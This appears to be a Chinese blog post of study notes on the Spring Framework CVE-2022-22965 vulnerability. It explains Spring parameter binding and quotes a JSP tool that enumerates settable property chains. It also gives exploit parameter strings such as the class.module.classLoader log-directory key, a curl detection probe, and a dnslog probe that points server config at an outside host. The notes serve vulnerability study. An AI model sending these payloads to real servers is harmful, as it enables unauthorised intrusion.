CVE-2022-22965 学习笔记

参考:

http://rui0.cn/archives/1158

https://github.com/vulhub/vulhub/tree/master/spring/CVE-2022-22965

https://xz.aliyun.com/t/11129

 

什么是javaBean,我的理解是MVC开发模式中处于Moudel层的类可以称为一个javabean,就像下面这样的,他们的属性都是private但是可以通过getter和setter方法进行获取和修改

public class Person {
    private String name;
    private Integer age;
    public Person() {
    }
    public String getName() {
        return this.name;
    }
    public void setName(String name) {
        this.name = name;
    }  
    public Integer getAge() {
        return this.age;
    } 
    public void setAge(Integer age) {
        this.age = age;
    }
}

 

下面说明什么是spring的“参数绑定”,“参数绑定”简单理解就是,传入的参数怎么给到controller层去自动处理不需要做出多余的操作,举个例子:

外部传入参数:hello/?name=timerzz&age=233,后端接收到了这个数据怎么处理?

 

不使用参数绑定是这样的(伪代码)

name = req.getParamter("name");
age = req.getParamter("age");

 

如果传了100个参数,那就要写100行类似的代码来接受!这显然不科学,但有了参数绑定后,后端的接收代码就变成了这样,这时候传入的name=timerzz&age=233,会“自己”调用Person的setter方法完成相关属性的赋值

@GetMapping({"/hello"})
public String index(Person person) {
    System.out.println(person);
    System.out.println("name: " + person.getName());
    System.out.println("age: " + person.getAge());
    return "hello";
}

 

下面是参数绑定的过程(跟一遍就知道了)这里给一个调用栈,测试环境:https://github.com/vulhub/vulhub/tree/master/base/spring/spring-webmv

 

上面为了流程简化,传入的是一个单独的属性,少了几个栈帧,这和我们熟知的payload长得不太一样,但是这样更方便理解

 

下面开始正题,传入class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT为啥可以?

 

根据上面说的,我们传入的key=value键值对,调用的是setter方法,但是我们明明没有class.module.classLoader.resources.context.parent.pipeline.first.directory这个属性啊,我们只有name和age

 

这里有两个知识点:

  • java类自带一个class属性,他们都有getClass()方法,返回的的就是一个Class对象,
  • springmvc嵌套属性的参数绑定,大致过程描述一下:person.name=timerzz,这样的单一参数绑定调用的是person.setName(),像person.parent.name这样的,属性里套属性的称为嵌套属性,person.parent.name=xxx为的是给name赋值,调用的就是person.getParent().setName(),简单理解就是为name赋值,但是前面有一个很长的前缀,这些前缀里的属性用getter获取就好了。

嵌套属性是通过如下递归调用获得的org/springframework/beans/AbstractNestablePropertyAccessor.java#getPropertyAccessorForPropertyPath感兴趣可以跟一下,就像上面说的,反正最后都是给name赋值,管他前缀多长(当然这个前提是这个属性得存在)

 

有了上面两点,回头看看payload,我们可以传入一个class(pojo对象有这个属性)然后调用他的getClassLoader获得一个classLoader,向上转型获得父加载器的ClassLoader(tomcat相关的配置属性存放的classLoader org.apache.catalina.loader.ParallelWebappClassLoader),从而改变一些全局的属性,比如上面的class.module.classLoader.resources.context.parent.pipeline.first.directory

 

最后就是jdk版本的问题,因为jdk9以前过滤了class.classloader,而jdk9以后加入了一个module属性它可以调用getClassLoder,从而绕过了当初的过滤代码,如下:

 

tomcat还有其他很多嵌套属性,获取嵌套属性的方式:

https://github.com/julianvilas/rooted2k15/blob/a00055f906502dd038b908a84907b74b38e26b20/struts-tester/struts-tester.jsp

<!--

This PoC gives a list of payloads that can be used to modify data in the
context of a Struts web application that is vulnerable to CVE-2014-0094 or
CVE-2014-0114. The results depend on the container that executes the
application. Is a customized version for the PoC posted by "neobyte" at
http://sec.baidu.com/index.php?research/detail/id/18

Instructions:
1.- Modify the imports to match the actions of your Struts application
2.- In main modify the initarget to match an Action / ActionForm of
your Struts app
3.- Add the JSP to your Struts app
4.- Deploy your app in an application server
5.- Access the JSP with a browser
5.1.- Add "debug=true" to the parameters for getting debug info
5.2.- Add "cmd=[all|allp|meth]" to run one of the alternative commands,
useful when looking for RCE
5.3.- Add "poc=" + with a chain of previously called getters to reach
current object

-->

<!-- Struts 2.x example -->
<!-- Import the class of the initarget Action -->
<%@ page language="java" import=
        "java.lang.reflect.*, com.timerzz.controller.*" %>
<%@ page import="com.timerzz.model.Person" %>

<!-- Struts 1.x example -->
<!-- Import the class of the initarget ActionForm -->
<%--@ page language="java" import=
    "java.lang.reflect.*, com.vaannila.*" --%>

<%!
    /* Find all the "set" methods that accept exactly one parameter (String,
     ** boolean or int) in the given Object, or in Objects that can be reached via
     ** "get" methods (without parameters) in a recursive way
     **
     ** Params:
     ** - Object instance : Object to process
     ** - javax.servlet.jsp.JspWriter out : Where the results will be printed
     ** - java.util.HashSet set : Set of previously processed Objects
     ** - String poc : Chain of previously called getters to reach current object
     ** - int level : Current level of recursion
     ** - boolean debug: print extra debug information for candidates
     */
    public void processClass(
            Object instance,
            javax.servlet.jsp.JspWriter out,
            java.util.HashSet set,
            String poc,
            int level,
            boolean debug) {

        try {

            if (++level > 15) {
                return;
            }

            Class<?> c = instance.getClass();
            set.add(instance);
            Method[] allMethods = c.getMethods();

            /* Print all set methods that match the desired properties:
             ** - exactly 1 parameter (String, boolean or int)
             ** - public modifier
             */
            for (Method m : allMethods) {
                if (!m.getName().startsWith("set")) {
                    continue;
                }

                if (!m.toGenericString().startsWith("public")) {
                    continue;
                }

                Class<?>[] pType  = m.getParameterTypes();
                if(pType.length!=1) continue;

                if(pType[0].getName().equals("java.lang.String")
                        || pType[0].getName().equals("boolean")
                        || pType[0].getName().equals("int")) {

                    String fieldName = m.getName().substring(3,4).toLowerCase()
                            + m.getName().substring(4);

                    /* Print the chain of getters plus the candidate setter in a
                     ** format that can be directly used as a PoC for the Struts
                     ** vulnerability. Also print the fqdn class name of the
                     ** current Object if debug mode is 'on'.
                     */
                    if (debug) {
                        out.print("-------------------------" + c.getName() + "<br>");
                        out.print("Candidate: " + poc + "." + fieldName + "<br>");
                    }
                    else {
                        out.print(poc + "." + fieldName + "<br>");
                    }
                    out.flush();
                }
            }

            /* Call recursively the current function against (not yet processed)
             ** Objects that can be reached using public get methods of the current
             ** Object (without parameters)
             */
            for (Method m : allMethods) {
                if (!m.getName().startsWith("get")) {
                    continue;
                }

                if (!m.toGenericString().startsWith("public")) {
                    continue;
                }

                Class<?>[] pType  = m.getParameterTypes();
                if(pType.length!=0) continue;
                if(m.getReturnType() == Void.TYPE) continue;

                /* In case of problems with reflection use
                 ** m.setAccessible(true);
                 */
                Object o = m.invoke(instance);
                if(o!=null)
                {
                    if(set.contains(o)) continue;

                    processClass(o,out, set, poc + "."
                            + m.getName().substring(3,4).toLowerCase()
                            + m.getName().substring(4), level, debug);
                }
            }
        } catch (java.io.IOException x) {
            x.printStackTrace();
        } catch (java.lang.IllegalAccessException x) {
            x.printStackTrace();
        } catch (java.lang.reflect.InvocationTargetException x) {
            x.printStackTrace();
        }
    }

    /*
     ** Print all the method names of a given Object
     */
    public void printAllMethodsNames(
            Object instance,
            javax.servlet.jsp.JspWriter out) throws Exception {

        Method[] allMethods = instance.getClass().getMethods();
        for (Method m : allMethods) {
            out.print(m.getName() + "<br>");
        }
    }

    /* Print all the method names of a given Object and the number of parameters
     ** that it has
     */
    public void printAllMethodsWithNumParams(
            Object instance,
            javax.servlet.jsp.JspWriter out) throws Exception {

        Method[] allMethods = instance.getClass().getMethods();
        for (Method m : allMethods) {
            Class<?>[] pType = m.getParameterTypes();

            out.print("Method: " + m.getName() + " with " + pType.length
                    + " parameters<br>");
        }
    }

    /* Print the "set" methods that accept exactly one parameter (String,
     ** boolean or int) and the "get" methods (without parameters) in the given
     ** Object
     */
    public void printMethods(
            Object instance,
            javax.servlet.jsp.JspWriter out) throws Exception {

        Method[] allMethods = instance.getClass().getMethods();
        for (Method m : allMethods) {

            Class<?>[] pType = m.getParameterTypes();

            if(m.getName().startsWith("get")
                    && m.toGenericString().startsWith("public")) {

                Class<?> returnType = m.getReturnType();

                if(pType.length == 0) {

                    out.print("GET method: " + m.getName() + " of class"
                            + instance.getClass().getName() + " returns "
                            + returnType.getName() + "<br>");
                }
            }
            if(m.getName().startsWith("set")
                    && m.toGenericString().startsWith("public")) {

                if((pType.length == 1) && (pType[0].getName().equals("java.lang.String")
                        || pType[0].getName().equals("boolean")
                        || pType[0].getName().equals("int"))) {

                    out.print("SET method: " + m.getName() + " of class"
                            + instance.getClass().getName() + " with param "
                            + pType[0].getName() + "<br>");
                }
            }
        }
    }

    /* Return the Object that results of resolving the chain of getters described
     ** by the "poc" parameter
     */
    public Object applyGetChain(
            Object initarget,
            String poc) throws Exception {

        if(poc.equals("")) {
            return initarget;
        }

        String[] parts = poc.split("\\.");

        String method = "get" + parts[0].substring(0,1).toUpperCase();

        if(parts[0].length() > 1) {
            method += parts[0].substring(1);
        }

        Class<?> c = initarget.getClass();
        Method m = c.getMethod(method, null);

        /* In case of problems with reflection use
         ** m.setAccessible(true);
         */
        Object o = m.invoke(initarget);

        if(parts.length == 1) {
            return o;
        }

        String newPoc = parts[1];

        for(int i=2; i<parts.length; i++) {
            newPoc.concat("." + parts[i]);
        }

        return applyGetChain(o, newPoc);
    }

%>

<%
    /*
     ** MAIN METHOD
     */
    java.util.HashSet set = new java.util.HashSet<Object>();
    String pocParam = request.getParameter("poc");
    String poc = (pocParam != null) ? pocParam : "";
// Struts 2.x Action
    Person initarget = new Person();    // **********修改为pojo对象*********
// Struts 1.x ActionForm
//LoginForm initarget = new LoginForm();
// Get the target Object as described by poc
    Object target = applyGetChain(initarget, poc);
// Check for debug mode
    String mode = request.getParameter("debug");
    boolean debug = false;
    if((mode != null) && (mode.equalsIgnoreCase("true"))) {
        debug = true;
    }
// Switch the command to be executed
    String cmd = request.getParameter("cmd");
    if(cmd != null) {
        if(cmd.equalsIgnoreCase("all")) {
            printAllMethodsNames(target, out);
        } else if(cmd.equalsIgnoreCase("allp")) {
            printAllMethodsWithNumParams(target, out);
        } else if(cmd.equalsIgnoreCase("meth")) {
            printMethods(target, out);
        } else {
            processClass(target, out, set, poc, 0, debug);
        }
    } else {
        processClass(target, out, set, poc, 0, debug);
    }
%>

网传还有其他利用方式,比如:

无损检测:

curl host:port/path?class.module.classLoader.URLs%5B0%5D=0    # 返回400漏洞存在

探测dnslog(会影响业务,不推荐)

class.module.classLoader.resources.context.configFile=http://xxx x.dnslog.cn/t&class.module.classLoader.resources.context.configF ile.content.aaa=xxx

 

最后spring官方也说了,目前还不清楚其他的服务器是否存在类似的漏洞……有待挖掘,现在还有个问题是payload特征很明显!

posted @ 2022-04-06 20:40  timer9527  阅读(274)  评论(0编辑  收藏  举报